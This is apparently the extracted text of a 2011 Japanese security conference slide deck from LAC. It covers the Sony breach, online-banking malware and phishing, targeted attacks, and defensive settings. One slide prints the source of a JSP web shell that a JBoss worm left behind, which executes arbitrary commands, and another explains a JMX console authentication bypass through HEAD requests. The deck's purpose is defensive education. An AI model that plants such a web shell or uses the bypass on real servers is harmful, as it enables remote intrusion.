Microsoft PowerPoint - d4-川口洋-LAC_kawaguchi_IW2011 [互換モード]

Size: px

Start display at page:

Download "Microsoft PowerPoint - d4-川口洋-LAC_kawaguchi_IW2011 [互換モード]"

けんじまるこ
5 years ago
Views:

1 2011 年ネットワークセキュリティ最新動向 2011 年 12 月 2 日川口洋, CISSP 株式会社ラックチーフエバンジェリスト lac.co.jp

自己紹介川口洋 ( かわぐちひろし ),CISSP 株式会社ラックチーフエバンジェリスト兼担当部長 ISOG-J 技術 WG リーダ http://www.lac.co.jp/academy/instructor.

アナリストリーダとしてセキュリティイベントの分析とともに IDS/IPS に適用する JSOC オリジナルシグネチャ (JSIG) の作成チューニングを実施し監視サービスの技術面のコントロールを行う JSOC チーフエバンジェリストとして JSOC 全体の技術面をコントロールそしてセキュリティオペレーションに関する研究 IT インフラへのリスクに関する情報提供

2 自己紹介川口洋 ( かわぐちひろし ),CISSP 株式会社ラックチーフエバンジェリスト兼担当部長 ISOG-J 技術 WG リーダ年ラック入社社内インフラシステムの維持運用に従事するその他セキュアサーバの構築サービスやサーバのセキュリティ検査業務なども行い経験を積むその後 IDS や Firewall などの運用管理業務を経てセキュリティアナリストとして JSOC 監視サービスに従事し日々セキュリティインシデントに対応 2005 年よりアナリストリーダとしてセキュリティイベントの分析とともに IDS/IPS に適用する JSOC オリジナルシグネチャ (JSIG) の作成チューニングを実施し監視サービスの技術面のコントロールを行う JSOC チーフエバンジェリストとして JSOC 全体の技術面をコントロールそしてセキュリティオペレーションに関する研究 IT インフラへのリスクに関する情報提供啓発活動を行っている BlackHatJapan PacSec InternetWeek PASSJ などのテクニカルカンファレンスや情報セキュリティシンポジウムなどで講演し安全な IT ネットワークの実現を目指して日夜奮闘中 2010 年 ~2011 年セキュリティ & プログラミングキャンプの講師として未来ある若者の指導にあたる川口洋のセキュリティプライベートアイズ (@IT) 連載中 2

3 Little earth Corporation 株式会社ラック会社案内情報セキュリティ技術で社会基盤を支える企業サイバーセキュリティ研究所設立 1986 年 ( 昭和 61 年 )9 月資本金 11 億 5,942 万円会社概要サイバー救急センター事業継続と被害者保護を第一に事業復旧を支援サイバー救急センター世界レベルで脅威情報を収集し分析 / 提供するサイバーセキュリティ研究所社会活動社会活動国際標準化活動への参加やセキュリティ連絡会の設立事業内容セキュリティソリューションサービスサイバービジネスセンターセキュアクラウドセキュリティ診断本社東京都千代田区平河町 2 丁目 16 番 1 号平河町森タワーオフィスの IT 環境をまるごとアウトソーシングセキュリティ診断脆弱性を発見しセキュリティリスクを可視化名古屋オフィス愛知県名古屋市中区丸の内 2 丁目 18 番 11 号 46KT ビル 4F セキュリティ監視セキュリティコンサルティングセキュリティコンサルティング子会社関連企業 Cyber Security LAC Co., Ltd.( 韓国 ) LAC CHINA CORPORATION Co., Ltd.( 中国 ) 株式会社 IT プロフェッショナルグループ (ITPG) Japan Security Operation Center 24 時間 365 日のセキュリティ監視サービスセキュリティアカデミーセキュリティアカデミー最適化されたセキュリティ対策の策定支援実践的な情報セキュリティ教育 3

4 JSOC マネージドセキュリティサービス ( MSS) 安全安心のネットワークの提供狡猾化する悪意を持ったハッカーの攻撃からプロフェッショナルによるセキュリティ運用監視がお客様をお守りしビジネスを成功に導きます 4

5 今日のトピック大規模な個人情報漏えい事件ネットバンク不正アクセス防衛産業を狙ったサイバー攻撃 5

6 今日のトピック大規模な個人情報漏えい事件ネットバンク不正アクセス防衛産業を狙ったサイバー攻撃 6

7 Sony 事件の流れ Sony 製品に対する Jail Break 訴訟問題 Sony DDoS 攻撃事件 (4 月中旬 ) Sony PSN 侵入事件 (4 月下旬 ) Sony 子会社侵入事件 (5 月以降 ) 7

8 記者会見の内容アプリケーションサーバ既知の脆弱性なぜ * 既知 * の脆弱性を防げなかったのか? 発見できなかったのか? 8

9 アプリケーションサーバの問題アップデートしにくいわかっていても手が打てない診断項目に入っていない脆弱性を発見できない IDS/IPS のシグネチャがない攻撃を発見できないサイバー救急センターからの情報提供事例 Tomcat Struts JBoss 等 9

10 インシデント対応事例 1 出口対策で不審な通信を発見 2CEC と JSOC の連携 3JSIG で攻撃を可視化 1 攻撃者との通信 6JSIG で JBoss に対する攻撃発見防御 2 被害状況調査 5JSIG を JSOC ユーザへ展開 3 攻撃手法情報 CVE を悪用した攻撃 4 セキュリティアナリストが JSIG を作成検知テスト負荷試験を実施 10

11 JMX コンソール 11

12 JMX コンソールの設定 <security-constraint> <web-resource-collection> <web-resource-name>htmladaptor</web-resource-name> <description> An example security config that only allows users with the role JBossAdmin to access the HTML JMX console web application </description> <url-pattern>/*</url-pattern> <http-method>get</http-method> <http-method>post</http-method> </web-resource-collection> <auth-constraint> <role-name>jbossadmin</role-name> </auth-constraint> </security-constraint> GET と POST の場合のみアクセス制御が働く HEAD の場合認証無しでアクセスが可能 12

13 JBoss ワームが作成するバックドア /zecmd/zecmd.jsp /idssvc/idssvc.jsp /iesvc/iesvc.jsp /wstats/wstats.jsp page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION=""> <INPUT TYPE="text" NAME="comment"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getparameter("commen% 74")!= null) { out.println("command: " + request.getparameter("comment") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("comment")); OutputStream os = p.getoutputstream(); InputStream in = p.getinputstream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readline(); while ( disr!= null % 29 { out.println(disr); disr = dis.readline(); } } %> </pre> </BODY></HTML> 13

14 攻撃のターゲットセキュリティ診断手法攻撃検知防御ウェブアプリケーション ( 自社開発のアプリ等 ) セキュリティ診断ツール + 手動によるセキュリティ診断 IDS/IPS/WAF ミドルウェアアプリケーションサーバ (Tomcat,Struts,JBoss 等 )? サーバアプリケーション (Apache,IIS 等 ) セキュリティ診断ツール IDS/IPS 14

15 今日のトピック大規模な個人情報漏えい事件ネットバンク不正アクセス防衛産業を狙ったサイバー攻撃 15

16 ネットバンクを狙った攻撃不審な電子メール合言葉第 2 暗証番号 16

17 ネットバンクのお金が盗まれるマルウェア口座情報個人ユーザフィッシングネットバンクネットバンクの口座情報を盗む盗んだ口座情報に不正アクセスしお金を盗む 17

フィッシングサイト ( 詐欺サイト ) 有効期限や CVV を入力させる http://blogs.

18 フィッシングサイト ( 詐欺サイト ) 有効期限や CVV を入力させるより引用 18

フィッシングサイト ( 詐欺サイト ) 乱数表を入力させる http://www.

19 フィッシングサイト ( 詐欺サイト ) 乱数表を入力させる 19

20 マルウェア付きメール差出人は銀行を騙る差出人 :U.F.J 銀行件名 : 三菱東京 UFJ 銀行より大切なお知らせです三菱東京 UFJ 銀行ご利用のお客様へ三菱東京 UFJ 銀行のご利用ありがとうございますこのお知らせは三菱東京 UFJ 銀行をご利用のお客様に送信しておりますこの度三菱東京 UFJ 銀行のセキュリティーの向上に伴いまして確認番号カードを再発行する事になりました再発行手続きはこのメールと一緒に添付されている申し込みソフトに必要事項を記入し送信をしていただければ手続き完了となりますので添付ソフトを右クリックし対象をファイルに保存を選択後必要事項を記入し送信お願いします再発行のカードは後日郵送で届きますので到着までは現在の確認番号カードをお使いくださいこの手続きを怠ると今後のオンライン上での操作に支障をきたす恐れがありますので一刻も素早いお手続きをお願いします三菱東京 UFJ 銀行添付ファイル :UFJ.exe 添付ファイルは削除されていない 20

21 感染したパソコンでネットバンクにアクセスアドレスバーが緑鍵アイコンがある一見正常なサイト本来必要のない情報を入力させて盗む注 : 川口作成イメージ図 21

22 参考 : 感染していないパソコン 22

23 マルウェアによる情報流出 ZeuS/Zbot 2008 年 ~2009 年世界では話題に 2011 年春ソースコード流出同時期日本の銀行でも注意喚起 23

24 窃取した個人情報を閲覧するための画面 24

25 ウイルス対策ソフトの検出をチェックする 25

26 新しいウイルスは発見が困難ウイルスが発見できなかった場合に被害を最小限に防ぐ対処が重要 26

27 JSOC ユーザのウイルス感染事故 A 社 B 社 C 社 D 社 JSOC のほぼ 100% のユーザがウイルス対策ソフトを導入しているその環境で毎月数百件のウイルス感染事故が発生している 27

28 JSOC ユーザの検知実績マルウェア検知傾向 (2011 年上半期 ) メーカシグネチャと JSIG の検知割合ネットバンクを狙う SpyEye ウイルスが増加しつつある感染防止の入口対策と感染発見の出口対策が必要 28

29 今日のトピック大規模な個人情報漏えい事件ネットバンク不正アクセス防衛産業を狙ったサイバー攻撃 29

30 防衛産業を狙った攻撃標的型攻撃ウイルスに感染 30

31 標的型攻撃のメールの例差出人件名本文などよく見慣れたメールが送られてくる添付ファイルが削除されていない (= ウイルス対策ソフトを抜けている ) 31

32 標的型攻撃のメールの例原発などの時事ネタ再送というキーワードで日常のやりとりを装う 32

33 標的型攻撃のメールの例 33

標的型攻撃のメールの例悪性サイトへのリンクが記載された HTML メールが届く http://www.

34 標的型攻撃のメールの例悪性サイトへのリンクが記載された HTML メールが届く 34

35 サイバー救急センターの対応実績年々緊急対応件数が増加しているサイバースパイ型の事案も増加中 35

36 標的型攻撃の流れ ( 一般的な話 ) ネットワークパソコン人 Firewall Proxy メールなので素通し通常使うメールなので検知できずアンチウイルススパムフィルター標的型なので検知できず適切な管理が出来てないアンチウイルスパッチ管理クリックしたことなど覚えていないリテラシープロクシからなので素通し標的型なので検知できずパーソナルファイアーウォール一般的には使いこなせず無効化される 36

37 巧妙なメール : ラックの分析官公庁間企業 IR 情報社内連絡グループ会社連絡取引先連絡時事ニュース世間のニュースに敏感組織に関わる情報 37

38 添付されるファイルの種類パソコンのソフトウェアの脆弱性 ( 欠陥 ) を悪用 Windows に加え Adobe Reader Flash Player など 38

39 手口ファイル名偽装よりファイル名の向きを操作することが可能 (RLO) 39

40 インシデント対応事例 7 攻撃者への通信 8JSIG で発見防御 6JSIG を JSOC ユーザへ展開攻撃者のネットワーク 5 セキュリティアナリストが JSIG を作成検知テスト負荷試験を実施 4 マルウェア解析結果を提供 1 緊急対応事案マルウェア検体を抽出 2 一般公開されないインシデント情報 3 マルウェア検体を提供 RRICS Risk Research Institute of Cyber Space 40

41 標的型攻撃の対策ポイント Firewall ネットワーク Proxy パソコン人メールなので素通し通常使うメールなので検知できずアンチウイルススパムフィルター標的型なので検知できず適切な管理が出来てないアンチウイルスパッチ管理クリックしたことなど覚えていないリテラシープロクシからなので素通し標的型なので検知できずパーソナルファイアーウォール一般的には使いこなせず無効化されるログ解析ネットワークフォレンジック FW/ プロキシで不審 IP アドレス Block IDS/IPS による監視防御リテラシ向上教育疑似体験訓練 41

42 共通対策 :Adobe Reader 設定 Acrobat JavaScript を無効化 JavaScript を OFF 42

43 共通対策 :Adobe Reader 設定外部アプリケーションの起動をさせない外部アプリケーションで PDF 以外の添付ファイルを開くことを許可を OFF 43

44 共通対策 :RLO 対策ローカルセキュリティ設定ソフトウェアの制限ポリシー追加の規則 ** を指定し * と * の間に RLO を指定する 44

45 敵の狙いを理解する攻撃側ユーザ側正面からは自動的網羅的に攻撃並行して裏側へ標的型攻撃 45

46 まとめ敵の狙いを理解する ( 狙われているところはどこか? 弱いところはどこか?) 自分のシステムについて把握する ( できることとできないこと ) 守る方にも戦略が必要 ( モノが同じならヒトとジョウホウで差がでる ) 46

47 ありがとうございましたネット犯罪の多くは気づかなかったのではなく見えなかったのです 47 株式会社ラック

資料 6 クラウドサービスで発生しているインシデントについて 2012 年 3 月 19 日川口洋, CISSP 株式会社ラックチーフエバンジェリスト lac.co.jp 平成 23 年度第 3 回学術情報基盤オープンフォーラム

資料 6 クラウドサービスで発生しているインシデントについて 2012 年 3 月 19 日川口洋, CISSP 株式会社ラックチーフエバンジェリスト hiroshi.kawaguchi @ lac.co.jp 平成 23 年度第 3 回学術情報基盤オープンフォーラム自己紹介川口洋 ( かわぐちひろし ),CISSP 株式会社ラックチーフエバンジェリスト兼担当部長 ISOG-J 技術 WG リーダ